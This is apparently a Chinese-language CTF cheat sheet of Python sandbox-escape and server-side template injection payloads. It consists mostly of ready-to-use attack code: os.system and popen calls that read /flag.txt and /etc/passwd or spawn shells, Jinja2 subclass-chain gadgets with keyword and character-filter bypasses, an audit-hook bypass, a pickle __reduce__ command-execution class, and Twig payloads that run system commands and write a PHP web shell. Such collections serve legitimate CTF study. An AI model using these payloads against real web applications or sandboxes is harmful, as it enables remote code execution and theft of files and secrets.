200字
Python 沙箱/CTF 速查笔记
2025-11-01
2025-11-01

写的时候非常神志不清,ssti 和 jail 混到一起了。

思路专栏1: https://zhuanlan.zhihu.com/p/578966149

思路专栏2: https://www.freebuf.com/articles/web/359392.html

wiki: https://ciphersaw.me/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/

常用payload(假设目标文件是 flag.txt):

1. __import__

__import__('os').system('cat /flag.txt')
__import__('subprocess').popen('ls -la', shell=True, stdout=-1).stdout.read()
__import__('subprocess').check_output(['cat', '/flag.txt']).decode()
__import__('builtins').open('/flag.txt').read()
__import__('pathlib').Path('/flag.txt').read_text()
__import__('os').popen('cat /flag.txt').read()
__import__('os').popen("env").read()
__import__('json').loads('{"flag": "value"}')['flag']
__import__('re').search(r'flag\{.*?\}', 'some text with flag{example_flag} inside').group(0)
open('/flag.txt').read()
__import__('os').system('sh')

2. __init__.__globals__

# ----------高价值类----------
warnings.catch_warnings
_frozen_importlib_external.FileFinder
site._Printer(os, sys)
subprocess.CompletedProcess / Popen(subprocess)
os._wrap_close(system)

# ----------读文件----------
# 使用 warnings.catch_warnings (通用性较高)
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

# ----------执行命令----------
# 使用 os.system
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['os'].system('whoami')
# 使用 os.popen
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['os'].popen('id').read()
# 使用 subprocess.Popen 
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['subprocess'].Popen('id', shell=True, stdout=-1).stdout.read()
# 使用 eval + __import__ (这个适合拼接绕过)
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['__builtins__']['eval']("__import__('os').system('id')")
# 使用 linecache 
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['linecache'].os.system('id')

3. 其他Payload

getattr(().__class__, '__base__').__subclasses__().__class__.__base__.__subclasses__()['视情况而定'].__init__.__globals__['system']('sh')

__import__('builtins').__dict__['eval']('__import__("os").system("sh")')

config.__class__.__init__.__.globals__['os'].popen('whoami').read()

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
# 导入函数以执行命令
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
# 其他有趣的函数
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
# 在 Python2.7 中
execfile('/usr/lib/python2.7/os.py')
system('ls')

魔术方法:

  1. __class__:返回类型所属的对象

  2. __mro__:返回一个包含对象所继承的基类元组

  3. __base__:返回该对象所继承的基类

  4. __subclasses__:返回一个类的所有直接子类的列表

  5. __init__:类的初始化方法

  6. __globals__:对包含函数全局变量的字典的引用

常用模块:

  1. os: listdir, system, popen, environ, pipe, fork, execv, execve

  2. subprocess: getoutput, Popen

  3. pathlib

  4. __builtins__: open, eval, exec, getattr

  5. file: read

  6. popen: ('ls').read(), ('cat').read()

SSTI (服务器端模板注入):

  1. 记得加 {{ }},如果回显除了函数名全部正常,可以考虑一下 __name__

  2. [图片占位符,原路径:imgs/img1.png]

  3. {{lipsum.__globals__.os.popen('ls').re}}

  4. {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

  5. 全局变量绕过 (长度限制):

    {%set x=config.update(a=config.update)%}
    {%set x=config.a(f=lipsum.__globals__)%}
    {%set x=config.a(o=config.f.os)%}
    {%set x=config.a(p=config.o.popen)%}
    {{config.p("ls").read()}}
    {{config.p("cat /f*").read()}}
    
  6. 过滤 _ 十六进制转义 \x5f

  7. 过滤 . 中括号 [] 替代,如 a.b 变为 a['b']

  8. 文件上传:
    {{''[request.args.x1][request.args.x2][1][request.args.x3]()[139][request.args.x4][request.args.x5][request.args.x6][request.args.x7](request.args.x8)}}
    配合 URL 参数:
    ?&x1=__class__&x2=__mro__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__builtins__&x7=eval&x8=__import__("os").popen("whoami").read()

  9. Unicode 绕过:

    {{lipsum.__globals__.get('os').popen('cat /f*').read()}}
    {{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}
    
  10. 过滤词语: 任何字符串都可以用 + 拼接来绕过。

  11. 搜索脚本:

    import requests, re, html, time
    
    index = 0
    for i in range(170, 1000):
        try:
            url = ""
            r = requests.get(url)
            res = re.findall("", r.text)
            time.sleep(0.1)
            res = html.unescape(res[0])
            print(f"{i} | {res}")
            if "subprocess.Popen" in res:
                index = i
                break
        except:
            continue
    print(f"index of subprocess.Popen: {index}")
    
  12. 思路参考:

  13. PIN码: Flask debug 模式下报错,可利用 PIN 码进控制台。

字符过滤:

  1. 过滤特定字母或引号: 使用 chr() 拼接,如 chr(99)+chr(97)+chr(116);或 bytes 拼接,如 bytes([99, 97, 116])

  2. 过滤 .: 使用 getattr(object, 'attribute')

限制长度:

  1. 13字符以内: eval(input())breakpoint()

  2. 7字符以内: help() -> 进入帮助模式 -> os -> !sh

  3. 交互式终端: sh

Python 2:

  1. input() 相当于 Python 3 中的 eval(input())

存在全局变量:

  1. globals()

  2. help() -> __main__help() -> 文件名

Audit Hook:

  1. 绕过 _posixsubprocess:
    __loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

  2. 思路帖: https://ctftime.org/writeup/31883

random 函数:

  1. 利用 random.getstate()random.setstate() 控制随机数生成。

  2. 例子: [random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]

  3. cpython._PySys_ClearAuditHooks

猜名字、数字:

  1. 侧信道盲注(枚举):

    from pwn import *
    from tqdm import trange
    
    class Guess:
        def __init__(self):
            self.known = ''
        def init(self):
            # self.conn = process(['python3', './server.py'])
            self.conn = remote('1.14.71.254', 28563)
        def guess(self):
            ...
    
    if __name__ == '__main__':
        g = Guess()
        g.guess()
    

其他技巧:

  • 需要多行输入: 使用海象运算符 :=

  • 字节码过滤: 使用 lambda 表达式

  • 抽象语法树过滤: 参考思路 https://gynvael.coldwind.pl/n/python_sandbox_escape

  • 可能的注入点: 沙箱、URL参数

  • 反序列化+沙箱逃逸:

    • 注意 /proc/self/environos.path.join() 对绝对路径识别有问题。

    • 优先本地文件读写。

    • 有密钥时使用 flask_unsign 库: os.system(f"flask-unsign --sign --cookie '{payload}' --secret '{secret_key}'")

    • 示例:

      class CMD(object):
          def __reduce__(self):
              import os
              cmd = "cat /flag > /tmp/test1"
              return (os.system, (cmd,))
      

Twig 常用注入

  1. 判断: mmt{# comment #}{{2*8}}OK,若 comment 被注释,则为 Twig。

  2. Payloads:

    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
    {{'/etc/passwd'|file_excerpt(1,30)}}
    {{app.request.files.get(1).__construct('/etc/passwd','')}}
    {{app.request.files.get(1).openFile.fread(99)}}
    {{["id"]|map("system")|join(",")}}
    {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
    {{['cat /etc/passwd']|filter('system')}}
    

Jinja2 常用注入

  1. 判断: Flask 框架基本都是 Jinja2。

  2. 语法: {% for/if ...%} {{ ... }} {% endfor/endif %}

  3. 获取eval执行代码:

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    
  4. 打印环境变量:

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("env").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    
  5. 查看源码:

    {% for c in [].__class__.__base__.__subclasses__() %}
       {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
       {% endif %}
    {% endfor %}
    
  6. 注意: 有时 if 不匹配也会输出换行,耐心翻看结果。

  7. 绕过技巧

    • 绕过目标:关键字 (如 globals)

      • 技术手段: 字符串拼接 ~

        • 示例: '__glo' ~ 'bals__'

        • 优先级: 最高,最常用。

      • 技术手段: request 对象

        • 示例: request.args.word

        • 优先级: 极高,最隐蔽,需 request 上下文。

      • 技术手段: join 过滤器

        • 示例: ['g','l','o','b','a','l','s']|join

        • 优先级: 优秀,可作为备选。

    • 绕过目标:属性访问 (如 .)

      • 技术手段: 中括号 []

        • 示例: obj['__class__']

        • 优先级: 最高,最基础。

      • 技术手段: attr() 过滤器

        • 示例: obj|attr('__class__')

        • 优先级: 极高,非常灵活。

    • 绕过目标:函数调用 (如 ())

      • 技术手段: 寻找替代路径

      • 优先级: 难度较高,需改变攻击思路。

  8. attr 过滤器:
    obj|attr('attribute_name') 等同于 obj.attribute_name

评论